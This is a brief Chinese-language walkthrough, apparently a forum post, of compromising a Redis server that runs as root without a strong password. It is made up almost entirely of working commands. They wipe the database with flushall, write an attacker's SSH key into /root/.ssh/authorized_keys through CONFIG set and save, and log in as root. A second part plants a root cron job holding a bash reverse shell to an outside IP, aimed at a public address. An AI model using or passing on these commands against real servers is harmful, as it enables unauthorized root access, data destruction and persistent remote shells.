服务器配置不当包括三个部分:
1.Redis服务使用ROOT账号启动
2.Redis服务无密码认证或者使用的是弱口令进行认证
3.服务器开放了SSH服务,而且允许使用密钥登录 简单的写下过程 - ###测试环境
- ```
- victim server CentOS6.6+redis2.4 192.168.192.133
- attack server CentOS6.6 192.168.192.132
- ```
- 先在attack server生成一个公钥
- ```
- ssh-keygen -t rsa -C "redis"
- (echo -e "\n\n"; cat redis.pub; echo -e "\n\n") > redis.txt
- ```
- 然后执行
- ```
- redis-cli -h 192.168.192.133 flushall
- cat redis.txt | redis-cli -h 192.168.192.133 -x set pwn
- ```
- 登录redis并修改其配置 redis-cli -h 192.168.192.133
- ```
- CONFIG set dir /root/.ssh/
- config set dbfilename "authorized_keys"
- save
- exit
- ```
- 然后就可以使用ssh的公钥登录了
- ```
- ssh -i redis root@192.168.192.133
- ```
复制代码 也可以创建计划任务:- echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/114.114.114.114/53 0>&1\n\n"|redis-cli -h 115.182.69.199 -p 3000 -x set 0
- config set dir /var/spool/cron/
- config set dbfilename root
复制代码
|